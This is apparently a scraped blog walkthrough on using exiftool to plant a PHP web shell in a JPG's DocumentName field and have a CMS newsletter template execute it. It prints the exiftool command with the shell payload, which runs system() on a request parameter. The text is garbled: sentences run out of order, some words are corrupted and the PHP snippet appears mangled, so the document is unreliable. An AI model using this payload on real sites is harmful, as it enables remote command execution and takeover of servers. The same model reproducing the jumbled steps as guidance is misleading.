If things are working you should see something similar to this screen shot. The crucial thing is once you’ve updated your template, make sure you Save it. jpg to interpret the PhP code via the Newsletter template.
#Kali exiftool how to#
This known vulnerability walks us through (via the link mentioned above) on how to get the. I won’t go into extreme detail on where to upload the image, because it’s documented well here: īut once you’ve uploaded it, you can verify that it did upload properly by navigating to the directory in the URL.
We can then use exiftool to verify our image has been updated:Īnd if we go and look at the image it appears untouched. We add the Testing into our code so that when we look at our preview later we can verify the page is at least loading correctly.
But we can tweak it, and add a php shell, with the following syntax: exiftool -DocumentName="Testing' \$cmd = (\$_REQUEST) system(\$cmd) echo '' } _halt_compiler() ?>" frog.jpg These are the default fields and their corresponding values for a picture of a frog I grabbed off the internet. It has a lot of options, but the one we’re the most interested in is updating the DocumentName field.Įxiftool is not installed by default on Kali Linux, so run a apt-get install exiftool if needed. ExiftoolĮxiftool is an open source program that can be used for manipulating image, audio, and video files. There’s some stuff scattered on the internet for it, so I wanted to piece it all in one spot. This one took me a while to figure out, probably longer than it should have.
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